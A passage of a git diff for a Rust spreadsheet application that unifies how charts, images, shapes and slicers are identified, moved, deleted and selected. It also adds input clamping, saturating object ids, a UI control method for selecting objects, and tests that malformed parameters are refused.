cx.sheet_mut(sheet)?; - match kind.as_str() { - "chart" => sh.charts.retain(|c| c.id != id), - "image" => sh.images.retain(|c| c.id != id), - "slicer" => sh.slicers.retain(|c| c.id != id), - _ => sh.shapes.retain(|c| c.id != id), - } - Ok(Json::Null) + cx.sheet_mut(sheet)?.remove_object(o); + Ok(json!({"deleted": o})) }) } +/// Largest offset (points) `object.move` accepts from the anchor cell. +const MAX_OBJECT_OFFSET: f64 = 100_000.0; + fn move_object(s: &mut Session, p: &Json) -> Result { - let id = u32_param(p, "id").ok_or_else(|| bad("object.move", "missing `id`"))?; - let kind = str_param(p, "kind").unwrap_or("").to_string(); - let sheet = s.doc()?.wb.active_sheet(); + let (sheet, o) = object_param(s, p, "object.move")?; let at = cell_param(s, p, "at")?; edit(s, |cx| { - let sh = cx.sheet_mut(sheet)?; - let anchor = match kind.as_str() { - "chart" => sh.charts.iter_mut().find(|c| c.id == id).map(|c| &mut c.anchor), - "image" => sh.images.iter_mut().find(|c| c.id == id).map(|c| &mut c.anchor), - "slicer" => sh.slicers.iter_mut().find(|c| c.id == id).map(|c| &mut c.anchor), - "shape" => sh.shapes.iter_mut().find(|c| c.id == id).map(|c| &mut c.anchor), - _ => None, - }; - let Some(a) = anchor else { return Err(bad("object.move", "no such object")) }; + let Some(a) = cx.sheet_mut(sheet)?.object_anchor_mut(o) else { return Err(bad("object.move", "no such object")) }; if let Some(at) = at { a.cell = at; } if let Some(v) = f64_param(p, "dx") { - a.dx = v as f32; + a.dx = v.clamp(-MAX_OBJECT_OFFSET, MAX_OBJECT_OFFSET) as f32; } if let Some(v) = f64_param(p, "dy") { - a.dy = v as f32; + a.dy = v.clamp(-MAX_OBJECT_OFFSET, MAX_OBJECT_OFFSET) as f32; } if let Some(v) = f64_param(p, "width") { a.width = v.clamp(1.0, 10000.0) as f32; @@ -1222,21 +1229,10 @@ fn move_object(s: &mut Session, p: &Json) -> Result { /// cells" / "Don't move or size with cells"), so it follows — or ignores — its rows and columns /// when the sheet is sorted or edited structurally. fn set_anchor_mode(s: &mut Session, p: &Json) -> Result { - let id = u32_param(p, "id").ok_or_else(|| bad("object.setAnchorMode", "missing `id`"))?; - let kind = str_param(p, "kind").unwrap_or("").to_string(); - if !matches!(kind.as_str(), "chart" | "image" | "shape") { - return Err(bad("object.setAnchorMode", "kind must be chart, image or shape")); - } + let (sheet, o) = object_param(s, p, "object.setAnchorMode")?; let mode = anchor_mode_param(p).ok_or_else(|| bad("object.setAnchorMode", "mode must be moveAndSize, moveOnly or absolute"))?; - let sheet = s.doc()?.wb.active_sheet(); edit(s, |cx| { - let sh = cx.sheet_mut(sheet)?; - let anchor = match kind.as_str() { - "chart" => sh.charts.iter_mut().find(|c| c.id == id).map(|c| &mut c.anchor), - "image" => sh.images.iter_mut().find(|c| c.id == id).map(|c| &mut c.anchor), - _ => sh.shapes.iter_mut().find(|c| c.id == id).map(|c| &mut c.anchor), - }; - let Some(a) = anchor else { return Err(bad("object.setAnchorMode", "no such object")) }; + let Some(a) = cx.sheet_mut(sheet)?.object_anchor_mut(o) else { return Err(bad("object.setAnchorMode", "no such object")) }; a.mode = mode; Ok(json!({"mode": anchor_mode_name(mode)})) }) diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index f99f246df..49c09dee5 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5203,6 +5203,7 @@ fn a_script_cannot_switch_windows() { } mod macros; +mod objects; mod seams; #[test] diff --git a/crates/engine/src/tests/objects.rs b/crates/engine/src/tests/objects.rs new file mode 100644 index 000000000..ea4dfb0e8 --- /dev/null +++ b/crates/engine/src/tests/objects.rs @@ -0,0 +1,105 @@ +//! Floating objects of every kind: found, moved, listed, stacked and deleted by `{kind, id}`. + +use gridcraft_core::CellRef; +use gridcraft_model::{AnchorMode, ObjKind, ObjRef, Sheet}; +use serde_json::json; + +use super::s; +use crate::Session; + +fn at(a: &str) -> CellRef { + CellRef::parse(a).unwrap() +} + +fn sheet(s: &Session, i: usize) -> &Sheet { + s.doc().unwrap().wb.sheet(i).unwrap() +} + +fn id_of(v: &serde_json::Value, key: &str) -> u32 { + v[key].as_u64().unwrap() as u32 +} + +/// A table with one object of each kind on the first sheet: a chart, a picture, a shape and a +/// slicer, in `ObjKind::ALL` order. +fn every_kind(s: &mut Session) -> [ObjRef; 4] { + s.execute("range.setValues", json!({"range": "A1", "values": [["Region", "Qty"], ["East", 3], ["West", 5], ["East", 2], ["North", 8]]})).unwrap(); + s.execute("insert.table", json!({"range": "A1:B5", "name": "Sales"})).unwrap(); + let chart = id_of(&s.execute("insert.chart", json!({"range": "B1:B5", "type": "column", "at": "D2"})).unwrap(), "chart"); + let image = super::add_image(s, "D18", AnchorMode::MoveAndSize); + let shape = id_of(&s.execute("insert.shape", json!({"kind": "ellipse", "at": "H18"})).unwrap(), "shape"); + s.execute("selection.set", json!({"cell": "A2"})).unwrap(); + let slicer = id_of(&s.execute("insert.slicer", json!({"column": "Region", "at": "L2"})).unwrap(), "slicer"); + [ObjRef::new(ObjKind::Chart, chart), ObjRef::new(ObjKind::Image, image), ObjRef::new(ObjKind::Shape, shape), ObjRef::new(ObjKind::Slicer, slicer)] +} + +#[test] +fn every_kind_is_found_moved_and_deleted_by_kind_and_id() { + let mut s = s(); + let objs = every_kind(&mut s); + for o in objs { + assert_eq!(sheet(&s, 0).object_ref(o.id), Some(o), "the id finds its kind"); + assert_eq!(ObjKind::parse(o.kind.name()), Some(o.kind)); + s.execute("object.move", json!({"kind": o.kind.name(), "id": o.id, "at": "M20", "width": 50, "height": 30})).unwrap(); + let a = sheet(&s, 0).object_anchor(o).unwrap(); + assert_eq!((a.cell, a.width, a.height), (at("M20"), 50.0, 30.0)); + s.execute("object.setAnchorMode", json!({"kind": o.kind.name(), "id": o.id, "mode": "absolute"})).unwrap(); + assert_eq!(sheet(&s, 0).object_anchor(o).unwrap().mode, AnchorMode::Absolute); + } + // A kind that does not match the id, an unknown id or kind, and a missing kind are refused. + assert!(s.execute("object.delete", json!({"kind": "slicer", "id": objs[0].id})).is_err()); + assert!(s.execute("object.delete", json!({"kind": "chart", "id": 9999})).is_err()); + assert!(s.execute("object.delete", json!({"kind": "widget", "id": objs[0].id})).is_err()); + assert!(s.execute("object.delete", json!({"id": objs[0].id})).is_err(), "kind is required"); + for (n, o) in objs.into_iter().enumerate() { + let out = s.execute("object.delete", json!({"kind": o.kind.name(), "id": o.id})).unwrap(); + assert_eq!(out["deleted"], json!({"kind": o.kind.name(), "id": o.id})); + assert!(!sheet(&s, 0).has_object(o)); + for later in &objs[n + 1..] { + assert!(sheet(&s, 0).has_object(*later), "deleting {o:?} leaves {later:?}"); + } + } + // One undo step per delete brings the slicer back. + s.execute("edit.undo", json!({})).unwrap(); + assert!(sheet(&s, 0).has_object(objs[3])); +} + +#[test] +fn selection_pane_lists_and_stacks_slicers() { + let mut s = s(); + let objs = every_kind(&mut s); + let second = id_of(&s.execute("insert.slicer", json!({"column": "Qty", "at": "P2"})).unwrap(), "slicer"); + let list = s.execute("arrange.selectionPane", json!({})).unwrap(); + let items = list.as_array().unwrap(); + let kinds: Vec<&str> = items.iter().map(|o| o["kind"].as_str().unwrap()).collect(); + for k in ObjKind::ALL { + assert!(kinds.contains(&k.name()), "{k:?} listed in {kinds:?}"); + } + assert_eq!(kinds.last(), Some(&"slicer"), "slicers stack on top"); + let names: Vec<&str> = items.iter().map(|o| o["name"].as_str().unwrap()).collect(); + assert!(names.contains(&"Region") && names.contains(&"Qty"), "{names:?}"); + assert_eq!(sheet(&s, 0).slicers.first().map(|c| c.id), Some(objs[3].id)); + s.execute("arrange.sendBackward", json!({"kind": "slicer", "id": second, "toBack": true})).unwrap(); + assert_eq!(sheet(&s, 0).slicers.first().map(|c| c.id), Some(second)); +} + +#[test] +fn hostile_object_params_are_refused() { + let mut s = s(); + let objs = every_kind(&mut s); + for p in [ + json!({}), + json!({"kind": "chart"}), + json!({"kind": "chart", "id": -1}), + json!({"kind": "chart", "id": u64::MAX}), + json!({"kind": 7, "id": objs[0].id}), + json!({"kind": null, "id": objs[0].id}), + ] { + for cmd in ["object.delete", "object.move", "object.setAnchorMode"] { + assert!(s.execute(cmd, p.clone()).is_err(), "{cmd} {p}"); + } + } + let o = objs[3]; + s.execute("object.move", json!({"kind": o.kind.name(), "id": o.id, "dx": 1e300, "dy": -1e300, "width": 1e300, "height": -5})).unwrap(); + let a = sheet(&s, 0).object_anchor(o).unwrap(); + assert!(a.dx.is_finite() && a.dy.is_finite() && a.width <= 10000.0 && a.height >= 0.0, "{a:?}"); +} diff --git a/crates/model/src/features.rs b/crates/model/src/features.rs index 2394319c3..0d6cc53ff 100644 --- a/crates/model/src/features.rs +++ b/crates/model/src/features.rs @@ -604,6 +604,49 @@ pub struct Shape { pub format: ShapeFormat, } +/// The kinds of floating object a sheet holds. Commands name an object by kind and +/// workbook-unique id (`{kind: "chart", id}`); [`ObjKind::name`] is that parameter's spelling. +#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub enum ObjKind { + Chart, + Image, + Shape, + Slicer, +} + +impl ObjKind { + pub const ALL: [ObjKind; 4] = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer]; + + /// The name used in command parameters. + pub fn name(self) -> &'static str { + match self { + ObjKind::Chart => "chart", + ObjKind::Image => "image", + ObjKind::Shape => "shape", + ObjKind::Slicer => "slicer", + } + } + + /// The kind named `s` (any letter case). + pub fn parse(s: &str) -> Option { + ObjKind::ALL.into_iter().find(|k| k.name().eq_ignore_ascii_case(s)) + } +} + +/// One floating object on a sheet: its kind and its workbook-unique id. +#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, Serialize, Deserialize)] +pub struct ObjRef { + pub kind: ObjKind, + pub id: u32, +} + +impl ObjRef { + pub fn new(kind: ObjKind, id: u32) -> ObjRef { + ObjRef { kind, id } + } +} + /// Horizontal alignment of a shape's text (`a:pPr algn`). #[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize)] pub enum ShapeTextAlign { diff --git a/crates/model/src/sheet.rs b/crates/model/src/sheet.rs index abc4731dc..d442a5340 100644 --- a/crates/model/src/sheet.rs +++ b/crates/model/src/sheet.rs @@ -8,8 +8,8 @@ use serde::{Deserialize, Serialize}; use crate::cell::{Cell, CellPicture}; use crate::features::{ - AutoFilter, Chart, Comment, CondFormat, Hyperlink, Image, LineInfo, PivotTable, PrintSettings, Shape, SheetProtection, Slicer, Sparkline, Table, - Validation, + Anchor, AutoFilter, Chart, Comment, CondFormat, Hyperlink, Image, LineInfo, ObjKind, ObjRef, PivotTable, PrintSettings, Shape, SheetProtection, + Slicer, Sparkline, Table, Validation, }; use crate::store::CellStore; use crate::style::{Color, StyleId}; @@ -202,6 +202,81 @@ impl Sheet { self.spill_ranges.iter().find(|(anchor, range)| **anchor != c && range.contains(c)).map(|(anchor, _)| *anchor) } + /// The floating object with workbook-unique id `id` on this sheet. + pub fn object_ref(&self, id: u32) -> Option { + let kind = if self.charts.iter().any(|o| o.id == id) { + ObjKind::Chart + } else if self.images.iter().any(|o| o.id == id) { + ObjKind::Image + } else if self.shapes.iter().any(|o| o.id == id) { + ObjKind::Shape + } else if self.slicers.iter().any(|o| o.id == id) { + ObjKind::Slicer + } else { + return None; + }; + Some(ObjRef::new(kind, id)) + } + + /// Whether the floating object `o` exists on this sheet. + pub fn has_object(&self, o: ObjRef) -> bool { + self.object_anchor(o).is_some() + } + + /// The anchor of the floating object `o`. + pub fn object_anchor(&self, o: ObjRef) -> Option { + match o.kind { + ObjKind::Chart => self.charts.iter().find(|c| c.id == o.id).map(|c| c.anchor), + ObjKind::Image => self.images.iter().find(|c| c.id == o.id).map(|c| c.anchor), + ObjKind::Shape => self.shapes.iter().find(|c| c.id == o.id).map(|c| c.anchor), + ObjKind::Slicer => self.slicers.iter().find(|c| c.id == o.id).map(|c| c.anchor), + } + } + + pub fn object_anchor_mut(&mut self, o: ObjRef) -> Option<&mut Anchor> { + match o.kind { + ObjKind::Chart => self.charts.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor), + ObjKind::Image => self.images.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor), + ObjKind::Shape => self.shapes.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor), + ObjKind::Slicer => self.slicers.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor), + } + } + + /// Removes the floating object `o`; false when there is no such object. + pub fn remove_object(&mut self, o: ObjRef) -> bool { + fn take(v: &mut Vec, f: impl Fn(&T) -> bool) -> bool { + let n = v.len(); + v.retain(|x| !f(x)); + v.len() != n + } + match o.kind { + ObjKind::Chart => take(&mut self.charts, |c| c.id == o.id), + ObjKind::Image => take(&mut self.images, |c| c.id == o.id), + ObjKind::Shape => take(&mut self.shapes, |c| c.id == o.id), + ObjKind::Slicer => take(&mut self.slicers, |c| c.id == o.id), + } + } + + /// Every floating object's anchor in a fixed order (charts, images, shapes, slicers) that + /// [`Sheet::object_anchors_mut`] repeats, so a pass can compute new anchors from the old ones + /// and write them back in step. + pub fn object_anchors(&self) -> impl Iterator { + self.charts + .iter() + .map(|o| &o.anchor) + .chain(self.images.iter().map(|o| &o.anchor)) + .chain(self.shapes.iter().map(|o| &o.anchor)) + .chain(self.slicers.iter().map(|o| &o.anchor)) + } + + pub fn object_anchors_mut(&mut self) -> impl Iterator { + self.charts + .iter_mut() + .map(|o| &mut o.anchor) + .chain(self.images.iter_mut().map(|o| &mut o.anchor)) + .chain(self.shapes.iter_mut().map(|o| &mut o.anchor)) + .chain(self.slicers.iter_mut().map(|o| &mut o.anchor)) + } /// Displayed value of a cell: its own value, or a spilled value. pub fn value(&self, c: CellRef) -> Value { match self.cells.get(c) { diff --git a/crates/model/src/workbook.rs b/crates/model/src/workbook.rs index 0d82ca6ff..12feee628 100644 --- a/crates/model/src/workbook.rs +++ b/crates/model/src/workbook.rs @@ -433,7 +433,7 @@ impl Workbook { m = m.max(c.id); } } - m + 1 + m.saturating_add(1) } } @@ -483,4 +483,19 @@ mod tests { assert!(wb.check_sheet_name(&"x".repeat(32), None).is_err()); assert!(wb.check_sheet_name("Budget 2026", None).is_ok()); } + + #[test] + fn object_ids_saturate_instead_of_overflowing() { + let mut wb = Workbook::new(); + let image = |id| crate::Image { id, anchor: Default::default(), data: Default::default(), mime: String::new(), alt: String::new() }; + assert_eq!(wb.next_object_id(), 1); + if let Some(sh) = wb.sheet_mut(0) { + sh.images.push(image(7)); + } + assert_eq!(wb.next_object_id(), 8); + if let Some(sh) = wb.sheet_mut(0) { + sh.images.push(image(u32::MAX)); + } + assert_eq!(wb.next_object_id(), u32::MAX, "an id read from a file at the maximum saturates"); + } } diff --git a/crates/ui-egui/examples/snapshot.rs b/crates/ui-egui/examples/snapshot.rs index 21477d30b..6c5dcaaa7 100644 --- a/crates/ui-egui/examples/snapshot.rs +++ b/crates/ui-egui/examples/snapshot.rs @@ -2,7 +2,7 @@ //! //! `cargo run --release -p gridcraft-ui-egui --example snapshot -- [--sample sales] [--in file.xlsx] //! [--size 1440x900] [--scale 2] [--cmd 'id={json}']... [--tab Insert] [--dark] [--language en|es|zh|ja|ko|ru|pt|de|cs|fr|tr] -//! [--dialog 'name={json}'] [--hf-edit header|footer] out.png` +//! [--pane name] [--object id] [--dialog 'name={json}'] [--hf-edit header|footer] out.png` use gridcraft_engine::Session; use gridcraft_ui_egui::SheetApp; @@ -59,7 +59,8 @@ fn main() { i += 1; pane = args.get(i).cloned(); } - "--chart" => { + // Selects a floating object of any kind by id (`--chart` is the older spelling). + "--object" | "--chart" => { i += 1; chart = args.get(i).and_then(|s| s.parse().ok()); } @@ -115,7 +116,7 @@ fn main() { app.ui.ribbon_tab = t; } app.grid.pane = pane; - app.selected_chart = chart; + app.select_object_id(chart); if let Some(d) = &dialog { let (name, p) = d.split_once('=').map(|(a, b)| (a, serde_json::from_str(b).unwrap_or(json!({})))).unwrap_or((d.as_str(), json!({}))); diff --git a/crates/ui-egui/src/app.rs b/crates/ui-egui/src/app.rs index 6fa5def4f..2225f0e4f 100644 --- a/crates/ui-egui/src/app.rs +++ b/crates/ui-egui/src/app.rs @@ -68,7 +68,7 @@ impl SheetApp { capture_epoch: 0, capture_geometry: None, capture_geometry_from_raw: false, - selected_chart: None, + selected_object: None, clipboard_text_at_copy: None, cut_text: None, tab_run: None, diff --git a/crates/ui-egui/src/app/commands.rs b/crates/ui-egui/src/app/commands.rs index c7dcde0ff..8df70e714 100644 --- a/crates/ui-egui/src/app/commands.rs +++ b/crates/ui-egui/src/app/commands.rs @@ -77,7 +77,7 @@ impl SheetApp { && let Ok(r) = &r && let Some(chart) = r.get("chart").and_then(Json::as_u64).and_then(|id| u32::try_from(id).ok()) { - self.selected_chart = Some(chart); + self.selected_object = Some(gridcraft_engine::model::ObjRef::new(gridcraft_engine::model::ObjKind::Chart, chart)); } if id == "file.exportPdf" && let Ok(r) = &r @@ -259,6 +259,7 @@ impl SheetApp { pub fn after_engine(&mut self) { // The requests belong to the window the command left active. self.follow_active_window(); + self.prune_selected_object(); for req in self.session.take_ui_requests() { match req { UiRequest::Dialog(name, params) => self.open_dialog(&name, params), diff --git a/crates/ui-egui/src/chartview.rs b/crates/ui-egui/src/chartview.rs index 8adab4918..36604c5b7 100644 --- a/crates/ui-egui/src/chartview.rs +++ b/crates/ui-egui/src/chartview.rs @@ -1,10 +1,10 @@ //! Floating objects on the sheet: charts (rendered by `gridcraft-chart` into primitives that -//! we paint with egui), pictures and shapes. +//! we paint with egui), pictures, shapes and slicers. use egui::epaint::{PathShape, PathStroke}; use egui::{Align2, Color32, FontId, Painter, Pos2, Rect, Stroke, StrokeKind, pos2, vec2}; use gridcraft_chart::{HAlign, Prim, VAlign}; -use gridcraft_engine::model::{Anchor, ShapeKind, Sheet, Workbook}; +use gridcraft_engine::model::{Anchor, ObjKind, ObjRef, ShapeKind, Sheet, Workbook}; use crate::SheetApp; use crate::grid::Geo; @@ -265,7 +265,7 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo return painted; } // Source outlines stay in cell space beneath every floating object. - if let Some(ch) = sh.charts.iter().find(|ch| app.selected_chart == Some(ch.id)) + if let Some(ch) = sh.charts.iter().find(|ch| app.selected_chart() == Some(ch.id)) && anchor_rect(geo, sh, &ch.anchor).intersects(p.clip_rect()) { for s in &ch.series { @@ -345,9 +345,6 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo if label && !sp.text.is_empty() && !app.editing_text_box(sp.id) { paint_shape_text(p, wb, sp, r, geo.z); } - if label && sp.kind == ShapeKind::TextBox && app.selected_chart == Some(sp.id) { - selection_frame(p, r); - } done(start, r); } for im in &sh.images { @@ -361,9 +358,6 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo } else { p.rect_filled(r, 0.0, Tokens::get(p.ctx()).sheet_track); } - if app.selected_chart == Some(im.id) { - selection_frame(p, r); - } done(start, r); } for ch in &sh.charts { @@ -379,12 +373,18 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo let m = EguiMeasure { painter: p, z: geo.z }; let prims = gridcraft_chart::render(ch, &data, ch.anchor.width, ch.anchor.height, &m); paint_prims(&p.with_clip_rect(r.intersect(p.clip_rect())), r.min, &prims, geo.z); - if app.selected_chart == Some(ch.id) { - selection_frame(p, r); - } done(start, r); } - paint_slicers(app, p, geo, wb, si, sh); + paint_slicers(p, geo, wb, si, sh); + // The selected object's frame and handles go over every object, and move with it on a + // right-to-left sheet. + if let Some(r) = app.selected_object.and_then(|o| object_rect(geo, sh, o)) + && r.intersects(p.clip_rect()) + { + let start = p.add(egui::Shape::Noop); + selection_frame(p, r); + done(start, r); + } painted } @@ -421,7 +421,7 @@ pub fn slicer_layout(rect: Rect, z: f32, n: usize, columns: u32) -> SlicerLayout SlicerLayout { header, clear, tiles } } -fn paint_slicers(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workbook, si: usize, sh: &Sheet) { +fn paint_slicers(p: &Painter, geo: &Geo, wb: &Workbook, si: usize, sh: &Sheet) { let tk = theme::Tokens::get(p.ctx()); for sl in &sh.slicers { let r = anchor_rect(geo, sh, &sl.anchor); @@ -455,9 +455,6 @@ fn paint_slicers(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workbook, si: usiz let cp = p.with_clip_rect(tr.intersect(p.clip_rect())); cp.text(tr.left_center() + vec2(6.0 * geo.z, 0.0), Align2::LEFT_CENTER, val, theme::ui_font(12.0 * geo.z), fg); } - if app.selected_chart == Some(sl.id) { - selection_frame(p, r); - } } } @@ -496,40 +493,47 @@ pub fn slicer_click(geo: &Geo, sh: &Sheet, wb: &Workbook, si: usize, p: Pos2) -> fn selection_frame(p: &Painter, r: Rect) { let t = Tokens::get(p.ctx()); p.rect_stroke(r, 0.0, Stroke::new(1.0, t.sheet_control_border), StrokeKind::Outside); - for c in [r.left_top(), r.center_top(), r.right_top(), r.left_center(), r.right_center(), r.left_bottom(), r.center_bottom(), r.right_bottom()] { + for h in crate::objects::Handle::ALL { + let c = h.pos(r); p.circle_filled(c, 4.0, t.sheet_control_bg); p.circle_stroke(c, 4.0, Stroke::new(1.0, t.sheet_control_border)); } - let _ = Align2::CENTER_CENTER; } -/// The topmost object under `p`: (kind, id, rect). -pub fn hit(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(&'static str, u32, Rect)> { - if app.session.active().is_some_and(|d| objects_hidden(&d.wb)) { +/// Where object `o` sits on the sheet (logical coordinates), when it exists on `sh`. +pub fn object_rect(geo: &Geo, sh: &Sheet, o: ObjRef) -> Option { + sh.object_anchor(o).map(|a| anchor_rect(geo, sh, &a)) +} + +/// The topmost object under `p` and its rect: slicers paint on top, so they are hit first, then +/// charts, pictures and shapes, each from the top of its stack. Nothing is hit outside the cell +/// area or while objects are hidden. +pub fn hit(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(ObjRef, Rect)> { + if !geo.cells.contains(p) || app.session.active().is_some_and(|d| objects_hidden(&d.wb)) { return None; } for sl in sh.slicers.iter().rev() { let r = anchor_rect(geo, sh, &sl.anchor); - if r.contains(p) && geo.cells.contains(p) { - return Some(("slicer", sl.id, r)); + if r.contains(p) { + return Some((ObjRef::new(ObjKind::Slicer, sl.id), r)); } } for ch in sh.charts.iter().rev() { let r = anchor_rect(geo, sh, &ch.anchor); - if r.expand(4.0).contains(p) && geo.cells.contains(p) { - return Some(("chart", ch.id, r)); + if r.expand(4.0).contains(p) { + return Some((ObjRef::new(ObjKind::Chart, ch.id), r)); } } for im in sh.images.iter().rev() { let r = anchor_rect(geo, sh, &im.anchor); - if r.contains(p) && geo.cells.contains(p) { - return Some(("image", im.id, r)); + if r.contains(p) { + return Some((ObjRef::new(ObjKind::Image, im.id), r)); } } for s in sh.shapes.iter().rev() { let r = anchor_rect(geo, sh, &s.anchor); - if r.expand(3.0).contains(p) && geo.cells.contains(p) { - return Some(("shape", s.id, r)); + if r.expand(3.0).contains(p) { + return Some((ObjRef::new(ObjKind::Shape, s.id), r)); } } None diff --git a/crates/ui-egui/src/control.rs b/crates/ui-egui/src/control.rs index af5eda156..c2bd46263 100644 --- a/crates/ui-egui/src/control.rs +++ b/crates/ui-egui/src/control.rs @@ -4,7 +4,8 @@ //! - `engine.execute {command, params}` — run any engine or UI command //! - `engine.commands {search?}` — every command with enablement and params docs //! - `document.inspect`, `sheet.read {range?}`, `cell.get {cell?}` — read state -//! - `ui.inspect` — UI state (ribbon tab, editor, dialog, grid geometry, perf) +//! - `ui.inspect` — UI state (ribbon tab, editor, dialog, selected object, grid geometry, perf) +//! - `ui.object.select {id?, kind?}` — select a floating object; replies with its rect //! - `ui.click {x, y, button?, count?, shift?, cmd?, alt?}`, `ui.drag {x, y, toX, toY}`, //! `ui.move {x, y}` — real pointer input in window points //! - `ui.cell.click {cell}`, `ui.cell.drag {from, to}` — pointer input on a cell's centre @@ -149,7 +150,9 @@ pub fn inspect(app: &SheetApp, ctx: &egui::Context) -> Json { "dialog": app.dialog.as_ref().map(|d| json!({"name": d.name, "title": d.title, "values": d.values, "tab": d.tab})), "backstage": app.backstage.as_ref().map(|b| b.page.id()), "message": app.message.as_ref().map(|(t, m)| json!({"title": t, "text": m})), - "selectedChart": app.selected_chart, + "selectedObject": app.selected_object, + // The id when the selection is a chart, as before `selectedObject`. + "selectedChart": app.selected_chart(), "mode": format!("{:?}", app.session.mode), "documents": app.session.documents().iter().map(|d| json!({"title": d.display_title(), "dirty": d.is_dirty()})).collect::>(), "activeDocument": app.session.active_index(), @@ -159,6 +162,29 @@ pub fn inspect(app: &SheetApp, ctx: &egui::Context) -> Json { }) } +/// `ui.object.select {id?, kind?}`: selects the object with that id on the active sheet (its kind +/// is found from the id when left out, and must match when given); no `id` clears the selection. +/// Replies with the object and its rect in window points, for `ui.click` and `ui.drag`. +fn select_object(app: &mut SheetApp, p: &Json) -> Outcome { + use gridcraft_engine::model::{ObjKind, ObjRef}; + let Some(id) = p.get("id").and_then(Json::as_u64) else { + app.selected_object = None; + return ok(Json::Null); + }; + let Some(sh) = app.session.active().and_then(|d| d.wb.active()) else { return err("no document") }; + let found = u32::try_from(id).ok().and_then(|id| match p.get("kind").and_then(Json::as_str) { + Some(k) => ObjKind::parse(k).map(|k| ObjRef::new(k, id)).filter(|o| sh.has_object(*o)), + None => sh.object_ref(id), + }); + let Some(o) = found else { return err("no such object on the active sheet") }; + let rect = app.grid.rect.and_then(|r| { + let geo = crate::grid::Geo::new(sh, r, app.view().scroll); + crate::chartview::object_rect(&geo, sh, o).map(|r| geo.mirror_rect(r)) + }); + app.selected_object = Some(o); + ok(json!({"selected": o, "rect": rect.map(|r| [r.left(), r.top(), r.width(), r.height()])})) +} + /// Keeps the commands whose id, label or ribbon path contains `search` (case-insensitive); `None` keeps all. fn filter_commands(commands: Vec, search: Option<&str>) -> Vec { let Some(q) = search.map(str::to_ascii_lowercase) else { return commands }; @@ -292,6 +318,7 @@ pub fn handle(app: &mut SheetApp, ctx: &egui::Context, method: &str, p: &Json) - app.dialog = None; ok(Json::Null) } + "ui.object.select" => select_object(app, p), "ui.message.dismiss" => { app.message = None; ok(Json::Null) diff --git a/crates/ui-egui/src/dialogs/charts.rs b/crates/ui-egui/src/dialogs/charts.rs index 612ba381f..039b8b0f3 100644 --- a/crates/ui-egui/src/dialogs/charts.rs +++ b/crates/ui-egui/src/dialogs/charts.rs @@ -114,7 +114,7 @@ pub(super) fn recommended_charts(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut match app.run("insert.chart", params) { Ok(r) => { // The new chart is selected, as after inserting any object. - app.selected_chart = r.get("chart").and_then(Json::as_u64).and_then(|id| u32::try_from(id).ok()); + app.select_object_id(r.get("chart").and_then(Json::as_u64).and_then(|id| u32::try_from(id).ok())); *open = false; } Err(e) => app.message = Some((d.title.clone(), crate::clean_error(&e))), diff --git a/crates/ui-egui/src/grid.rs b/crates/ui-egui/src/grid.rs index c5e1dd473..0e20d7e0b 100644 --- a/crates/ui-egui/src/grid.rs +++ b/crates/ui-egui/src/grid.rs @@ -131,12 +131,12 @@ pub enum Drag { grab: CellRef, to: Option, }, + /// Moving a floating object, or resizing it from one of its eight handles. Object { - kind: &'static str, - id: u32, + obj: gridcraft_engine::model::ObjRef, start: Pos2, orig: (CellRef, f32, f32, f32, f32), - resize: bool, + handle: Option, }, } diff --git a/crates/ui-egui/src/grid/cursor.rs b/crates/ui-egui/src/grid/cursor.rs index ae381c7ff..e15c4800a 100644 --- a/crates/ui-egui/src/grid/cursor.rs +++ b/crates/ui-egui/src/grid/cursor.rs @@ -1,5 +1,5 @@ use super::geo::Geo; -use super::interact::{OBJECT_RESIZE_RADIUS, col_edge, freeze_handles, hidden_col_edge, hidden_row_edge, on_border, row_edge}; +use super::interact::{col_edge, freeze_handles, hidden_col_edge, hidden_row_edge, on_border, row_edge}; use super::{CellRef, Color32, CursorIcon, Drag, Pos2, RangeRef, Rect, Sheet, SheetApp, Stroke, pos2, vec2}; /// Decide after interaction so drag start and release use the new state in the same frame. @@ -30,7 +30,7 @@ pub(super) fn update_cursor(app: &mut SheetApp, ui: &egui::Ui, resp: &egui::Resp // has Drag::None and uses hover. A click can briefly leave a drag state after release. if resp.dragged() && pointer.primary_down() - && let Some(cursor) = drag_cursor(&app.grid.drag) + && let Some(cursor) = drag_cursor(&app.grid.drag, geo.rtl) { ctx.set_cursor_icon(cursor); return; @@ -42,18 +42,19 @@ pub(super) fn update_cursor(app: &mut SheetApp, ui: &egui::Ui, resp: &egui::Resp hover_cursor(app, ctx, resp, &pointer, geo, sh, p); } -/// The cursor a held drag shows, or `None` when the drag leaves it to hover. -fn drag_cursor(drag: &Drag) -> Option { +/// The cursor a held drag shows, or `None` when the drag leaves it to hover. `rtl` swaps the +/// diagonal resize cursors of an object's corner handles on a mirrored sheet. +fn drag_cursor(drag: &Drag, rtl: bool) -> Option { match drag { Drag::None => None, Drag::Select => Some(CursorIcon::Cell), Drag::Rows(_) | Drag::Cols(_) => Some(CursorIcon::Default), Drag::Fill { .. } => Some(CursorIcon::Crosshair), - Drag::Move { .. } | Drag::MoveCols { .. } | Drag::Object { resize: false, .. } => Some(CursorIcon::Move), + Drag::Move { .. } | Drag::MoveCols { .. } | Drag::Object { handle: None, .. } => Some(CursorIcon::Move), Drag::ResizeCol { .. } => Some(CursorIcon::ResizeColumn), Drag::ResizeRow { .. } => 